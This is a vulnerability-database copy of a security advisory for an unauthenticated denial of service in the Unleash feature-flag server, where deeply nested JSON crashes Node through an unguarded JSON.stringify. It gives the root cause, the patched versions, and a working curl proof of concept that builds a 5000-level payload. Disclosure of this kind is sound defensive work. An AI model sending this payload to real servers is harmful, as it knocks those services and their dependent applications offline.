GHSA-R5PQ-6CHH-J3XP

Vulnerability from github – Published: 2026-08-21 19:14 – Updated: 2026-08-21 19:14
VLAI
Summary
Unleash: Unauthenticated single-request DoS via OpenAPI validation error formatter
Details

Summary

An unauthenticated POST to any OpenAPI-validated endpoint, including the anonymous POST /edge/validate and POST /edge/issue-token, crashes the entire Unleash server with one request body of deeply-nested JSON.

When request-body validation fails, Unleash builds the error message by calling JSON.stringify on the raw offending value taken from the request body. A value nested a few thousand levels deep makes JSON.stringify recurse past the V8 call-stack limit and throw RangeError: Maximum call stack size exceeded.

The throw is synchronous inside an Express error-handling middleware that has no try/catch, and the process registers no uncaughtException handler (only unhandledRejection). Node terminates the process with exit(1).

The body parser sets no JSON nesting-depth limit, the payload (about 10 KB at depth 5000) stays far under the 100 KB body-size limit, and the same error formatter serves every API route, so the trigger is route-independent.

Result: a remote attacker with no account, token, or cookie takes the whole server offline with a single 10 KB request, and keeps it offline by replaying it.

Affected

Unleash OSS server, confirmed live-exploitable on v8.0.0 (unleashorg/unleash-server:8.0.0). Vulnerable code is the shared request-validation error path (src/lib/error/bad-data-error.ts genericErrorMessage), present on current main. Reachable on a stock install: no feature flag, no setting, no authentication, no CSRF token, and no cookie required. The 100 KB request-body size limit does not mitigate it; the crashing payload is about 10 KB.

Root cause

On validation failure the error formatter serializes the raw offending request value with an unguarded const youSent = JSON.stringify(propertyValue) (src/lib/error/bad-data-error.ts:75), where propertyValue is read straight from the request body via lodash.get (bad-data-error.ts:123). A deeply-nested array or object makes JSON.stringify recurse once per level and throw RangeError: Maximum call stack size exceeded. fromOpenApiValidationErrors (bad-data-error.ts:158) runs from the Express error middleware openAPIValidationMiddleware (src/lib/routes/controller.ts:68), which calls it with no try/catch (controller.ts:70), while the controller's own try/catch (controller.ts:103) wraps only the route handler. The process registers only process.on('unhandledRejection') (src/lib/server-impl.ts:274) and no uncaughtException handler, so the synchronous throw terminates Node with exit(1). The same unguarded pattern exists at fromJoiError (bad-data-error.ts:175) and at handleErrors (src/lib/routes/util.ts:42), whose own comment records that JSON.stringify(finalError.details) "also hangs" (util.ts:63).

Reproduction

unleashorg/unleash-server:8.0.0 started from the repository docker-compose.yml, default config, no credentials, server at http://localhost:4242.

  1. A shallow body returns a normal 400 and the server stays up.
curl -s -X POST http://localhost:4242/edge/validate \
  -H 'Content-Type: application/json' -d '{"tokens":[[]]}'
# HTTP 400 BadDataError: "The `/body/tokens/0` property must be string. You sent []."
  1. A single anonymous body nested 5000 levels deep (10013 bytes) crashes the process.
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:4242/edge/validate \
  -H 'Content-Type: application/json' \
  --data-binary "$(python3 -c 'd=5000;print("{\"tokens\":["+"["*d+"]"*d+"]}")')"
# 000  (connection dropped mid-response; Node exited)
  1. The server is gone and does not recover on its own.
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4242/health
# 000
docker inspect repo-web-1 --format '{{.State.Status}} restarts={{.RestartCount}}'
# exited restarts=0

Live-verified: one anonymous 10013-byte request to /edge/validate drove /health from 200 to 000; the container logs showed the RangeError stack through bad-data-error and openAPIValidationMiddleware, and the process did not restart. The crash threshold is about 4000 to 4500 nesting levels; depth 5000 crashes reliably. The same crash reproduces on POST /edge/issue-token with a nested object, confirming route and shape independence.

Impact

  • Single 10 KB request with no account, token, or cookie takes the entire server offline.
  • Replaying the request (kilobits per restart interval) sustains a near-total outage; with no restart policy the first request is a permanent kill.
  • Feature-flag evaluation sits on the request path of dependent applications, so the outage propagates to them.
  • Every OpenAPI-validated endpoint is a trigger, including anonymous ones.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "unleash-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "unleash-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.6.0"
            },
            {
              "fixed": "7.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "unleash-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63462"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T19:14:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn unauthenticated `POST` to any OpenAPI-validated endpoint, including the anonymous `POST /edge/validate` and `POST /edge/issue-token`, crashes the entire Unleash server with one request body of deeply-nested JSON.\n\nWhen request-body validation fails, Unleash builds the error message by calling `JSON.stringify` on the raw offending value taken from the request body. A value nested a few thousand levels deep makes `JSON.stringify` recurse past the V8 call-stack limit and throw `RangeError: Maximum call stack size exceeded`.\n\nThe throw is synchronous inside an Express error-handling middleware that has no try/catch, and the process registers no `uncaughtException` handler (only `unhandledRejection`). Node terminates the process with `exit(1)`.\n\nThe body parser sets no JSON nesting-depth limit, the payload (about 10 KB at depth 5000) stays far under the 100 KB body-size limit, and the same error formatter serves every API route, so the trigger is route-independent.\n\nResult: a remote attacker with no account, token, or cookie takes the whole server offline with a single 10 KB request, and keeps it offline by replaying it.\n\n## Affected\n\nUnleash OSS server, confirmed live-exploitable on v8.0.0 (`unleashorg/unleash-server:8.0.0`).\nVulnerable code is the shared request-validation error path (`src/lib/error/bad-data-error.ts` `genericErrorMessage`), present on current `main`.\nReachable on a stock install: no feature flag, no setting, no authentication, no CSRF token, and no cookie required.\nThe 100 KB request-body size limit does not mitigate it; the crashing payload is about 10 KB.\n\n## Root cause\n\nOn validation failure the error formatter serializes the raw offending request value with an unguarded `const youSent = JSON.stringify(propertyValue)` (`src/lib/error/bad-data-error.ts:75`), where `propertyValue` is read straight from the request body via `lodash.get` (`bad-data-error.ts:123`). A deeply-nested array or object makes `JSON.stringify` recurse once per level and throw `RangeError: Maximum call stack size exceeded`. `fromOpenApiValidationErrors` (`bad-data-error.ts:158`) runs from the Express error middleware `openAPIValidationMiddleware` (`src/lib/routes/controller.ts:68`), which calls it with no try/catch (`controller.ts:70`), while the controller\u0027s own try/catch (`controller.ts:103`) wraps only the route handler. The process registers only `process.on(\u0027unhandledRejection\u0027)` (`src/lib/server-impl.ts:274`) and no `uncaughtException` handler, so the synchronous throw terminates Node with `exit(1)`. The same unguarded pattern exists at `fromJoiError` (`bad-data-error.ts:175`) and at `handleErrors` (`src/lib/routes/util.ts:42`), whose own comment records that `JSON.stringify(finalError.details)` \"also hangs\" (`util.ts:63`).\n\n## Reproduction\n\n`unleashorg/unleash-server:8.0.0` started from the repository `docker-compose.yml`, default config, no credentials, server at `http://localhost:4242`.\n\n1. A shallow body returns a normal 400 and the server stays up.\n\n```\ncurl -s -X POST http://localhost:4242/edge/validate \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"tokens\":[[]]}\u0027\n# HTTP 400 BadDataError: \"The `/body/tokens/0` property must be string. You sent [].\"\n```\n\n2. A single anonymous body nested 5000 levels deep (10013 bytes) crashes the process.\n\n```\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 -X POST http://localhost:4242/edge/validate \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \"$(python3 -c \u0027d=5000;print(\"{\\\"tokens\\\":[\"+\"[\"*d+\"]\"*d+\"]}\")\u0027)\"\n# 000  (connection dropped mid-response; Node exited)\n```\n\n3. The server is gone and does not recover on its own.\n\n```\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 http://localhost:4242/health\n# 000\ndocker inspect repo-web-1 --format \u0027{{.State.Status}} restarts={{.RestartCount}}\u0027\n# exited restarts=0\n```\n\nLive-verified: one anonymous 10013-byte request to `/edge/validate` drove `/health` from 200 to 000; the container logs showed the `RangeError` stack through `bad-data-error` and `openAPIValidationMiddleware`, and the process did not restart. The crash threshold is about 4000 to 4500 nesting levels; depth 5000 crashes reliably. The same crash reproduces on `POST /edge/issue-token` with a nested object, confirming route and shape independence.\n\n## Impact\n\n- Single 10 KB request with no account, token, or cookie takes the entire server offline.\n- Replaying the request (kilobits per restart interval) sustains a near-total outage; with no restart policy the first request is a permanent kill.\n- Feature-flag evaluation sits on the request path of dependent applications, so the outage propagates to them.\n- Every OpenAPI-validated endpoint is a trigger, including anonymous ones.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://www.turingpoint.de) (jan@turingpoint.de)",
  "id": "GHSA-r5pq-6chh-j3xp",
  "modified": "2026-08-21T19:14:37Z",
  "published": "2026-08-21T19:14:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/security/advisories/GHSA-r5pq-6chh-j3xp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/commit/b0e4da63249a9403bc209e0581db223326cb8dcf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/commit/d45f99df924c0d24747b3e45e46fcda7dcd3c1c1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/commit/d862562a5ab8f2d1e40f6519c64cf0b4fdaf806d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unleash/unleash"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/releases/tag/v7.5.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/releases/tag/v7.6.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/releases/tag/v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unleash: Unauthenticated single-request DoS via OpenAPI validation error formatter"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…